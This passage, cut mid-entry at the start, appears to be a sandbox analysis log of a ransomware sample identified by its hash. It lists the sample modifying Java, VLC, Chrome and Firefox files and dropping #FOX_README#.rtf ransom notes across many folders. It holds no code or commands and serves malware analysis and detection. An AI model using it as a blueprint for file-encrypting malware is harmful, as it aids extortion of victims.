Files\Java\jdk1.8.0_66\jre\lib\jfr\profile.jfc f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-api-annotations-common_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-options_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\jsse.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\META-INF\ECLIPSE_.SF f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification.ja_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\feature.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.forms.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.browser.jdp_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.ui.ja_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\feature.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-modules-templates.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-charts.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench3.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.metadata.repository.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-spi-quicksearch_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-heapdump.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-openide-io.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Update\1.3.35.452\GoogleCrashHandler64.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-modules-javahelp.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\ext\locale\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\classlist f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-openide-text.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.registry_3.5.400.v20140428-1507.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\VisualElements\LogoDev.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\jcmd.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\hi\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\nl\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\feature.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\RenameHide.mpv2 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\bin\server\Xusage.txt f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-swing-outline.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler-selector-api.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-host-views.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\mai\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-openide-awt.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.reconciler.dropins_1.1.200.v20131119-0908.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.concurrent_1.1.0.v20130327-1442.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\fonts\LucidaTypewriterRegular.ttf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.metadata.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-modules-masterfs-nio2.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ms\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-options-api_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\bin\ssvagent.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-openide-execution.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\com.jrockit.mc.rjmx.descriptorProvider.exsd f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-application-views_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\sk.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\cy\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-openide-text.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-swing-plaf_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\hi\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin.equinox_1.0.500.v20131211-1531.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\Other-48.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Mozilla Firefox\browser\features\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-core-ui.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.simpleconfigurator.manipulator.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.forms.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4-dark_win.css f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-core-multiview_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-util.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-core-execution.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\uz\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\MANIFEST.MF f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-modules-queries.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-utilities_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-windows_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\fonts\LucidaBrightDemiBold.ttf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\co\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-core_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\config\Modules\org-netbeans-modules-profiler-oql.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\core\locale\core_visualvm.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\[email protected] f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.commands_3.6.100.v20140528-1422.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\firefox.VisualElementsManifest.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-modules-autoupdate-ui.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-api-progress.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Mozilla Maintenance Service\logs\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-host-views_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\css\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPHandle.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\koreus.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\config\Modules\org-netbeans-modules-profiler-heapwalker.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\plugin-container.exe.sig f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\WidevineCdm\_platform_specific\win_x64\widevinecdm.dll.sig f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\bin\rmid.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\config\Modules\org-netbeans-lib-profiler-common.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\bin\server\classes.jsa f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-masterfs-nio2_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\firefox.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\hr.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\core\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\java.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\license.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\META-INF\MANIFEST.MF f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-host-views.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\te.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\org-netbeans-lib-profiler-charts.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Update\1.3.35.452\GoogleUpdate.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\nacl_irt_x86_64.nexe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\preface.htm f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\chrome_100_percent.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\epl-v10.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\gl\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\sd\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-api-annotations-common.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\anevia_streams.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\ExpandOptimize.scf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_classic_win7.css f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\help.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\management\jmxremote.access f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\Documentation.url f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\jre\lib\amd64\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\META-INF\ECLIPSE_.SF f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\com.jrockit.mc.console.ui.notification_contexts.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.extensionlocation.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-modules-keyring.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\wsgen.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-api-progress_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.artifact.repository_1.1.300.v20131211-1531.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.swt.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\WidevineCdm\LICENSE f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ko\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-modules-progress-ui.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\uz\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.zh_CN_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\artifacts.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\.settings\org.eclipse.equinox.p2.metadata.repository.prefs f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.publisher.eclipse.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\core\locale\core_ja.jar 